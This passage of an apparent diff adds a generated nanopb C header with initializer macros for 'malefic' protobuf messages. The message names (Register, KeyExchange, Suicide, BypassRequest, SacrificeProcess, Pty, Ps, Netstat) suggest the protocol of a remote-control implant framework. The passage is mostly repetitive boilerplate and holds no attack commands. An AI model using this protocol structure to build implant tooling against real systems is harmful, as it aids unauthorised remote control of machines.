malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default}} +#define malefic_FFmpegRequest_init_default {"", "", "", "", ""} +#define malefic_PtyRequest_init_default {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_default {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_default {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} +#define malefic_Ping_init_zero {0} +#define malefic_Register_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}, false, malefic_Timer_init_zero, false, malefic_SysInfo_init_zero, false, malefic_Secure_init_zero} +#define malefic_Secure_init_zero {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_zero {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_zero {""} +#define malefic_Init_init_zero {{0, {0}}} +#define malefic_SysInfo_init_zero {"", "", 0, false, malefic_Os_init_zero, false, malefic_Process_init_zero} +#define malefic_Suicide_init_zero {0, 0} +#define malefic_Request_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_zero {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_zero {0, 0, 0} +#define malefic_NetInterface_init_zero {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_zero {"", "", "", "", ""} +#define malefic_NetstatResponse_init_zero {0, {malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero}} +#define malefic_Block_init_zero {0, {0, {0}}, 0} +#define malefic_ACK_init_zero {0, 0, 0} +#define malefic_Os_init_zero {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_zero {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_zero {"", 0} +#define malefic_FileInfo_init_zero {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_zero {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_zero {"", 0, 0, {malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero}} +#define malefic_DriveInfo_init_zero {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_zero {0, {malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero}} +#define malefic_PsResponse_init_zero {0, {malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, 